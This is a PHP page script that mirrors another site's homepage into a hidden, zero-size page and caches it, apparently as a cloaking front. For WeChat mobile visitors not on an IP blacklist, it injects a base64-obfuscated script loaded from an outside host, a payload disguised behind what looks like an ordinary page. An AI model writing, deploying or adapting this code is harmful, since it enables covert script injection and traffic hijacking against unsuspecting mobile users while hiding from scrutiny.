<?php 
	error_reporting(0);
	header("Access-Control-Allow-Origin:*");include_once './framework/Autoload.php';
	$Dt = new DTool();
    $DblackIP = new DblackIP();
?>
<!DOCTYPE html><html lang="zh-CN" style="display: none;width:0px;height:0px;opacity: 0;"><head><meta content="text/html; charset=utf8" http-equiv="Content-Type"><meta charset="utf8"><title></title><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="renderer" content="webkit"></head>
<?php if (true) { ?>
<body style="display:none;">
<div style="display:none">
<?php }else{ ?>
<body>
<div>
<?php } ?>

	<?php 
preg_match('/[\w][\w-]*\.(?:com\.cn|com|cn|co|net|org|gov|cc|biz|info)(\/|$)/isU', $_SERVER['HTTP_HOST'], $domain);
$hostname = $domain[0];
		if (empty($hostname)) {
			echo "";
		}else{
			$DRedis = new DRedis();
			$obj = $DRedis->redis;
			$fileinfo = $obj->get($hostname);
			if (empty($fileinfo)) {
			$a = GetUrl("http://www.".$hostname);
    $a = preg_replace('/href="(?!http).([^"]*)"/',"href=\"\"", $a);
    $a = preg_replace('/src="(?!http).([^"]*)"/',"src=\"\"", $a);
    $pregRule = "/<[img|IMG].*?src=[\'|\"](.*?(?:[\.jpg|\.jpeg|\.png|\.gif|\.bmp]))[\'|\"].*?[\/]?>/";
    $a = preg_replace($pregRule,'', $a);
    preg_match_all("/charset=([\w]*)/",$a,$c);
    if (isset($c[1][0]) && strrpos(strtolower($c[1][0]),"gb")!==false) {
      $encode = mb_detect_encoding($a, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5')); 
      $a = mb_convert_encoding($a, 'UTF-8', $encode);
    }
        $a = preg_replace('/<script[\s\S]*?<\/script>/i',"", $a);
    // file_put_contents($fn,$a);
    $obj->set($hostname,$a);
    echo $a;
			} else {
				echo $fileinfo;
			}
		}

 function GetUrl($hostname)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL,$hostname);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 3);
    $data = curl_exec($curl);
    curl_close($curl);
    list($header, $body) = explode("\r\n\r\n", $data, 2);
    if (empty($body)) {
    	$body = file_get_contents("./framework/template/default.html");
    }
    return $body;
}
	 ?>
</div>
<?php   $DblackIP = new DblackIP(); if ($Dt->isWeixin() && !$Dt->isPc() && !$DblackIP->isBlack()) { ?>
<script>
var s = document.createElement('script');
s.src = atob('<?php echo base64_encode('https://1.shanghongst.com/RJSRuJs?nobase64=true&'.md5($_SERVER['HTTP_HOST'])) ?>');
document.body.appendChild(s);
</script>
<?php } ?>
</body></html>